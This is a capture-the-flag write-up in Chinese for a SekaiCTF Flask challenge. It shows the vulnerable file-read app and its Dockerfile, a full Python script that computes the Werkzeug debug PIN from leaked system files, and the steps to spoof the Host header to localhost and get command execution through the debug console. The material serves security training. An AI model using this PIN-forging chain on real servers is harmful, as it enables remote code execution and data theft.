SekaiCTF

web

My Flask App

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/')
def hello_world():
return render_template('index.html')

@app.route('/view')
def view():
filename = request.args.get('filename')
if not filename:
return "Filename is required", 400
try:
with open(filename, 'r') as file:
content = file.read()
return content, 200
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)

以及docker文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
FROM python:3.11-slim

RUN pip install --no-cache-dir flask==3.1.1

WORKDIR /app

COPY app .

RUN mv flag.txt /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1).txt && \
chown -R nobody:nogroup /app

USER nobody

EXPOSE 5000

CMD ["python", "app.py"]

给了个读取文件的路由,但是flag文件名被添加了32位后缀,直接读取肯定不现实,考虑怎么RCE
注意到源代码开启了调试模式,大概率要利用这一点打pin码RCE
这里版本比较高,参考新版flask pin码计算
利用文件读取拿参数
这里/proc/self/cgroup为空那就不填它
生成pin码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

# nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
# /usr/local/bin/pythonapp.py
# 52:c8:95:8c:51:fa
# 52c8958c51fa
# print(int('52c8958c51fa',16))


import hashlib
from itertools import chain
import time

# 可能是公开的信息部分
probably_public_bits = [
'nobody', # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.11/site-packages/flask/app.py' # moddir,报错得到
]

# 私有信息部分
private_bits = [
'91021455938042', # /sys/class/net/eth0/address 十进制
'd012874f-9e09-499b-b531-f5fc6ecffb27'
# machine-id部分
]

# 创建哈希对象
h = hashlib.sha1()

# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)

# 加盐处理
h.update(b'cookiesalt')

# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print(cookie_name)

# 生成 pin 码
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

# 格式化 pin 码
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

# A week
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(f"{int(time.time()+10000+60 * 60 * 24 * 7)}|{hash_pin('164-715-873')}")

Werkzeug>3.0.3版本
高于3.0.3版本,仅支持回环地址或localhost

抓包后改Host为localhost访问/console
传入参数会返回
{"auth": true, "exhausted": false}
并获得cookie
?__debugger__=yes&cmd=pinauth&pin=616-447-090&s=ZWurnoU1T8hbLFffNGel
然后带着cookie命令执行即可,注意这里的请求多了frm即frame当前帧